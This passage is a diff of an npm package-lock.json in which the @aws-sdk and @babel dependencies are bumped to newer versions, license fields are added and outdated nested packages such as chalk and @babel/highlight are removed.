-      "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.460.0.tgz",
-      "integrity": "sha512-+kSoR9ABGpJ5Xc7v0VwpgTQbgyI4zuezC8K4pmKAGZsSsVWg4yxptoy2bDqoFL7qfRlWviMVTkQRMvR4D44WxA==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.840.0.tgz",
+      "integrity": "sha512-Fy5JUEDQU1tPm2Yw/YqRYYc27W5+QD/J4mYvQvdWjUGZLB5q3eLFMGD35Uc28ZFoGMufPr4OCxK/bRfWROBRHQ==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "3.460.0",
-        "@smithy/node-config-provider": "^2.1.5",
-        "@smithy/types": "^2.5.0",
-        "tslib": "^2.5.0"
+        "@aws-sdk/middleware-user-agent": "3.840.0",
+        "@aws-sdk/types": "3.840.0",
+        "@smithy/node-config-provider": "^4.1.3",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       },
       "peerDependencies": {
         "aws-crt": ">=1.0.0"
@@ -706,123 +782,61 @@
         }
       }
     },
-    "node_modules/@aws-sdk/util-utf8-browser": {
-      "version": "3.259.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/util-utf8-browser/-/util-utf8-browser-3.259.0.tgz",
-      "integrity": "sha512-UvFa/vR+e19XookZF8RzFZBrw2EUkQWxiBW0yYQAhvk3C+QVGl0H3ouca8LDBlBfQKXwmW3huo/59H8rwb1wJw==",
+    "node_modules/@aws-sdk/xml-builder": {
+      "version": "3.821.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.821.0.tgz",
+      "integrity": "sha512-DIIotRnefVL6DiaHtO6/21DhJ4JZnnIwdNbpwiAhdt/AVbttcE4yw925gsjur0OGv5BTYXQXU3YnANBYnZjuQA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "tslib": "^2.3.1"
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@babel/code-frame": {
-      "version": "7.23.5",
-      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.23.5.tgz",
-      "integrity": "sha512-CgH3s1a96LipHCmSUmYFPwY7MNx8C3avkq7i4Wl3cfa662ldtUe4VM1TPXX70pfmrlWTb6jLqTYrZyT2ZTJBgA==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz",
+      "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/highlight": "^7.23.4",
-        "chalk": "^2.4.2"
+        "@babel/helper-validator-identifier": "^7.27.1",
+        "js-tokens": "^4.0.0",
+        "picocolors": "^1.1.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
-    "node_modules/@babel/code-frame/node_modules/ansi-styles": {
-      "version": "3.2.1",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
-      "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
-      "dev": true,
-      "dependencies": {
-        "color-convert": "^1.9.0"
-      },
-      "engines": {
-        "node": ">=4"
-      }
-    },
-    "node_modules/@babel/code-frame/node_modules/chalk": {
-      "version": "2.4.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
-      "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
-      "dev": true,
-      "dependencies": {
-        "ansi-styles": "^3.2.1",
-        "escape-string-regexp": "^1.0.5",
-        "supports-color": "^5.3.0"
-      },
-      "engines": {
-        "node": ">=4"
-      }
-    },
-    "node_modules/@babel/code-frame/node_modules/color-convert": {
-      "version": "1.9.3",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
-      "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
-      "dev": true,
-      "dependencies": {
-        "color-name": "1.1.3"
-      }
-    },
-    "node_modules/@babel/code-frame/node_modules/color-name": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
-      "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
-      "dev": true
-    },
-    "node_modules/@babel/code-frame/node_modules/escape-string-regexp": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
-      "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
-      "dev": true,
-      "engines": {
-        "node": ">=0.8.0"
-      }
-    },
-    "node_modules/@babel/code-frame/node_modules/has-flag": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
-      "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
-      "dev": true,
-      "engines": {
-        "node": ">=4"
-      }
-    },
-    "node_modules/@babel/code-frame/node_modules/supports-color": {
-      "version": "5.5.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
-      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
-      "dev": true,
-      "dependencies": {
-        "has-flag": "^3.0.0"
-      },
-      "engines": {
-        "node": ">=4"
-      }
-    },
     "node_modules/@babel/compat-data": {
-      "version": "7.23.5",
-      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.23.5.tgz",
-      "integrity": "sha512-uU27kfDRlhfKl+w1U6vp16IuvSLtjAxdArVXPa9BvLkrr7CYIsxH5adpHObeAGY/41+syctUWOZ140a2Rvkgjw==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.0.tgz",
+      "integrity": "sha512-60X7qkglvrap8mn1lh2ebxXdZYtUcpd7gsmy9kLaBJ4i/WdY8PqTSdxyA8qraikqKQK5C1KRBKXqznrVapyNaw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/core": {
-      "version": "7.23.5",
-      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.23.5.tgz",
-      "integrity": "sha512-Cwc2XjUrG4ilcfOw4wBAK+enbdgwAcAJCfGUItPBKR7Mjw4aEfAFYrLxeRp4jWgtNIKn3n2AlBOfwwafl+42/g==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.0.tgz",
+      "integrity": "sha512-UlLAnTPrFdNGoFtbSXwcGFQBtQZJCNjaN6hQNP3UPvuNXT1i82N26KL3dZeIpNalWywr9IuQuncaAfUaS1g6sQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@ampproject/remapping": "^2.2.0",
-        "@babel/code-frame": "^7.23.5",
-        "@babel/generator": "^7.23.5",
-        "@babel/helper-compilation-targets": "^7.22.15",
-        "@babel/helper-module-transforms": "^7.23.3",
-        "@babel/helpers": "^7.23.5",
-        "@babel/parser": "^7.23.5",
-        "@babel/template": "^7.22.15",
-        "@babel/traverse": "^7.23.5",
-        "@babel/types": "^7.23.5",
+        "@babel/code-frame": "^7.27.1",
+        "@babel/generator": "^7.28.0",
+        "@babel/helper-compilation-targets": "^7.27.2",
+        "@babel/helper-module-transforms": "^7.27.3",
+        "@babel/helpers": "^7.27.6",
+        "@babel/parser": "^7.28.0",
+        "@babel/template": "^7.27.2",
+        "@babel/traverse": "^7.28.0",
+        "@babel/types": "^7.28.0",
         "convert-source-map": "^2.0.0",
         "debug": "^4.1.0",
         "gensync": "^1.0.0-beta.2",
@@ -841,41 +855,46 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",
       "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@babel/core/node_modules/semver": {
       "version": "6.3.1",
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       }
     },
     "node_modules/@babel/generator": {
-      "version": "7.23.5",
-      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.23.5.tgz",
-      "integrity": "sha512-BPssCHrBD+0YrxviOa3QzpqwhNIXKEtOa2jQrm4FlmkC2apYgRnQcmPWiGZDlGxiNtltnUFolMe8497Esry+jA==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.0.tgz",
+      "integrity": "sha512-lJjzvrbEeWrhB4P3QBsH7tey117PjLZnDbLiQEKjQ/fNJTjuq4HSqgFA+UNSwZT8D7dxxbnuSBMsa1lrWzKlQg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/types": "^7.23.5",
-        "@jridgewell/gen-mapping": "^0.3.2",
-        "@jridgewell/trace-mapping": "^0.3.17",
-        "jsesc": "^2.5.1"
+        "@babel/parser": "^7.28.0",
+        "@babel/types": "^7.28.0",
+        "@jridgewell/gen-mapping": "^0.3.12",
+        "@jridgewell/trace-mapping": "^0.3.28",
+        "jsesc": "^3.0.2"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-compilation-targets": {
-      "version": "7.22.15",
-      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.22.15.tgz",
-      "integrity": "sha512-y6EEzULok0Qvz8yyLkCvVX+02ic+By2UdOhylwUOvOn9dvYc9mKICJuuU1n1XBI02YWsNsnrY1kc6DVbjcXbtw==",
+      "version": "7.27.2",
+      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz",
+      "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/compat-data": "^7.22.9",
-        "@babel/helper-validator-option": "^7.22.15",
-        "browserslist": "^4.21.9",
+        "@babel/compat-data": "^7.27.2",
+        "@babel/helper-validator-option": "^7.27.1",
+        "browserslist": "^4.24.0",
         "lru-cache": "^5.1.1",
         "semver": "^6.3.1"
       },
@@ -888,6 +907,7 @@
       "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
       "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "yallist": "^3.0.2"
       }
@@ -897,6 +917,7 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       }
@@ -905,65 +926,43 @@
       "version": "3.1.1",
       "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
       "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",
-      "dev": true
-    },
-    "node_modules/@babel/helper-environment-visitor": {
-      "version": "7.22.20",
-      "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.20.tgz",
-      "integrity": "sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA==",
       "dev": true,
-      "engines": {
-        "node": ">=6.9.0"
-      }
+      "license": "ISC"
     },
-    "node_modules/@babel/helper-function-name": {
-      "version": "7.23.0",
-      "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.23.0.tgz",
-      "integrity": "sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw==",
+    "node_modules/@babel/helper-globals": {
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",
+      "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==",
       "dev": true,
-      "dependencies": {
-        "@babel/template": "^7.22.15",
-        "@babel/types": "^7.23.0"
-      },
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
-    "node_modules/@babel/helper-hoist-variables": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz",
-      "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==",
-      "dev": true,
-      "dependencies": {
-        "@babel/types": "^7.22.5"
-      },
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-module-imports": {
-      "version": "7.22.15",
-      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.22.15.tgz",
-      "integrity": "sha512-0pYVBnDKZO2fnSPCrgM/6WMc7eS20Fbok+0r88fp+YtWVLZrp4CkafFGIp+W0VKw4a22sgebPT99y+FDNMdP4w==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz",
+      "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/types": "^7.22.15"
+        "@babel/traverse": "^7.27.1",
+        "@babel/types": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-module-transforms": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.23.3.tgz",
-      "integrity": "sha512-7bBs4ED9OmswdfDzpz4MpWgSrV7FXlc3zIagvLFjS5H+Mk7Snr21vQ6QwrsoCGMfNC4e4LQPdoULEt4ykz0SRQ==",
+      "version": "7.27.3",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.27.3.tgz",
+      "integrity": "sha512-dSOvYwvyLsWBeIRyOeHXp5vPj5l1I011r52FM1+r1jCERv+aFXYk4whgQccYEGYxK2H3ZAIA8nuPkQ0HaUo3qg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-environment-visitor": "^7.22.20",
-        "@babel/helper-module-imports": "^7.22.15",
-        "@babel/helper-simple-access": "^7.22.5",
-        "@babel/helper-split-export-declaration": "^7.22.6",
-        "@babel/helper-validator-identifier": "^7.22.20"
+        "@babel/helper-module-imports": "^7.27.1",
+        "@babel/helper-validator-identifier": "^7.27.1",
+        "@babel/traverse": "^7.27.3"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -972,161 +971,59 @@
         "@babel/core": "^7.0.0"
       }
     },
-    "node_modules/@babel/helper-simple-access": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.22.5.tgz",
-      "integrity": "sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==",
-      "dev": true,
-      "dependencies": {
-        "@babel/types": "^7.22.5"
-      },
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
-    "node_modules/@babel/helper-split-export-declaration": {
-      "version": "7.22.6",
-      "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz",
-      "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==",
-      "dev": true,
-      "dependencies": {
-        "@babel/types": "^7.22.5"
-      },
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
     "node_modules/@babel/helper-string-parser": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.23.4.tgz",
-      "integrity": "sha512-803gmbQdqwdf4olxrX4AJyFBV/RTr3rSmOj0rKwesmzlfhYNDEs+/iOcznzpNWlJlIlTJC2QfPFcHB6DlzdVLQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",
+      "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-validator-identifier": {
-      "version": "7.22.20",
-      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.20.tgz",
-      "integrity": "sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz",
+      "integrity": "sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-validator-option": {
-      "version": "7.23.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.23.5.tgz",
-      "integrity": "sha512-85ttAOMLsr53VgXkTbkx8oA6YTfT4q7/HzXSLEYmjcSTJPMPQtvq1BD79Byep5xMUYbGRzEpDsjUf3dyp54IKw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",
+      "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helpers": {
-      "version": "7.23.5",
-      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.23.5.tgz",
-      "integrity": "sha512-oO7us8FzTEsG3U6ag9MfdF1iA/7Z6dz+MtFhifZk8C8o453rGJFFWUP1t+ULM9TUIAzC9uxXEiXjOiVMyd7QPg==",
+      "version": "7.27.6",
+      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.27.6.tgz",
+      "integrity": "sha512-muE8Tt8M22638HU31A3CgfSUciwz1fhATfoVai05aPXGor//CdWDCbnlY1yvBPo07njuVOCNGCSp/GTt12lIug==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/template": "^7.22.15",
-        "@babel/traverse": "^7.23.5",
-        "@babel/types": "^7.23.5"
+        "@babel/template": "^7.27.2",
+        "@babel/types": "^7.27.6"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
-    "node_modules/@babel/highlight": {
-      "version": "7.23.4",
-      "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.23.4.tgz",
-      "integrity": "sha512-acGdbYSfp2WheJoJm/EBBBLh/ID8KDc64ISZ9DYtBmC8/Q204PZJLHyzeB5qMzJ5trcOkybd78M4x2KWsUq++A==",
-      "dev": true,
-      "dependencies": {
-        "@babel/helper-validator-identifier": "^7.22.20",
-        "chalk": "^2.4.2",
-        "js-tokens": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
-    "node_modules/@babel/highlight/node_modules/ansi-styles": {
-      "version": "3.2.1",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
-      "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
-      "dev": true,
-      "dependencies": {
-        "color-convert": "^1.9.0"
-      },
-      "engines": {
-        "node": ">=4"
-      }
-    },
-    "node_modules/@babel/highlight/node_modules/chalk": {
-      "version": "2.4.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
-      "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
-      "dev": true,
-      "dependencies": {
-        "ansi-styles": "^3.2.1",
-        "escape-string-regexp": "^1.0.5",
-        "supports-color": "^5.3.0"
-      },
-      "engines": {
-        "node": ">=4"
-      }
-    },
-    "node_modules/@babel/highlight/node_modules/color-convert": {
-      "version": "1.9.3",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
-      "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
-      "dev": true,
-      "dependencies": {
-        "color-name": "1.1.3"
-      }
-    },
-    "node_modules/@babel/highlight/node_modules/color-name": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
-      "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
-      "dev": true
-    },
-    "node_modules/@babel/highlight/node_modules/escape-string-regexp": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
-      "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
-      "dev": true,
-      "engines": {
-        "node": ">=0.8.0"
-      }
-    },
-    "node_modules/@babel/highlight/node_modules/has-flag": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
-      "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
-      "dev": true,
-      "engines": {
-        "node": ">=4"
-      }
-    },
-    "node_modules/@babel/highlight/node_modules/supports-color": {
-      "version": "5.5.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
-      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
-      "dev": true,
-      "dependencies": {
-        "has-flag": "^3.0.0"
-      },
-      "engines": {
-        "node": ">=4"
-      }
-    },
     "node_modules/@babel/parser": {
-      "version": "7.23.5",
-      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.23.5.tgz",
-      "integrity": "sha512-hOOqoiNXrmGdFbhgCzu6GiURxUgM27Xwd/aPuu8RfHEZPBzL1Z54okAHAQjXfcQNwvrlkAmAp4SlRTZ45vlthQ==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.0.tgz",
+      "integrity": "sha512-jVZGvOxOuNSsuQuLRTh13nU0AogFlw32w/MT+LV6D3sP5WdbW61E77RnkbaO2dUvmPAYrBDJXGn5gGS6tH4j8g==",
       "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/types": "^7.28.0"
+      },
       "bin": {
         "parser": "bin/babel-parser.js"
       },
@@ -1135,58 +1032,48 @@
       }
     },
     "node_modules/@babel/template": {
-      "version": "7.22.15",
-      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.22.15.tgz",
-      "integrity": "sha512-QPErUVm4uyJa60rkI73qneDacvdvzxshT3kksGqlGWYdOTIUOwJ7RDUL8sGqslY1uXWSL6xMFKEXDS3ox2uF0w==",
+      "version": "7.27.2",
+      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz",
+      "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/code-frame": "^7.22.13",
-        "@babel/parser": "^7.22.15",
-        "@babel/types": "^7.22.15"
+        "@babel/code-frame": "^7.27.1",
+        "@babel/parser": "^7.27.2",
+        "@babel/types": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/traverse": {
-      "version": "7.23.5",
-      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.23.5.tgz",
-      "integrity": "sha512-czx7Xy5a6sapWWRx61m1Ke1Ra4vczu1mCTtJam5zRTBOonfdJ+S/B6HYmGYu3fJtr8GGET3si6IhgWVBhJ/m8w==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.0.tgz",
+      "integrity": "sha512-mGe7UK5wWyh0bKRfupsUchrQGqvDbZDbKJw+kcRGSmdHVYrv+ltd0pnpDTVpiTqnaBru9iEvA8pz8W46v0Amwg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/code-frame": "^7.23.5",
-        "@babel/generator": "^7.23.5",
-        "@babel/helper-environment-visitor": "^7.22.20",
-        "@babel/helper-function-name": "^7.23.0",
-        "@babel/helper-hoist-variables": "^7.22.5",
-        "@babel/helper-split-export-declaration": "^7.22.6",
-        "@babel/parser": "^7.23.5",
-        "@babel/types": "^7.23.5",
-        "debug": "^4.1.0",
-        "globals": "^11.1.0"
+        "@babel/code-frame": "^7.27.1",
+        "@babel/generator": "^7.28.0",
+        "@babel/helper-globals": "^7.28.0",
+        "@babel/parser": "^7.28.0",
+        "@babel/template": "^7.27.2",
+        "@babel/types": "^7.28.0",
+        "debug": "^4.3.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
-    "node_modules/@babel/traverse/node_modules/globals": {
-      "version": "11.12.0",
-      "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz",
-      "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==",
-      "dev": true,
-      "engines": {
-        "node": ">=4"
-      }
-    },
     "node_modules/@babel/types": {
-      "version": "7.23.5",
-      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.23.5.tgz",
-      "integrity": "sha512-ON5kSOJwVO6xXVRTvOI0eOnWe7VdUcIpsovGo9U/Br4Ie4UVFQTboO2cYnDhAGU6Fp+UxSiT+pMft0SMHfuq6w==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.0.tgz",
+      "integrity": "sha512-jYnje+JyZG5YThjHiF28oT4SIZLnYOcSBb6+SDaFIyzDVSkXQmQQYclJ2R+YxcdmK0AX6x1E5OQNtuh3jHDrUg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-string-parser": "^7.23.4",
-        "@babel/helper-validator-identifier": "^7.22.20",
-        "to-fast-properties": "^2.0.0"
+        "@babel/helper-string-parser": "^7.27.1",
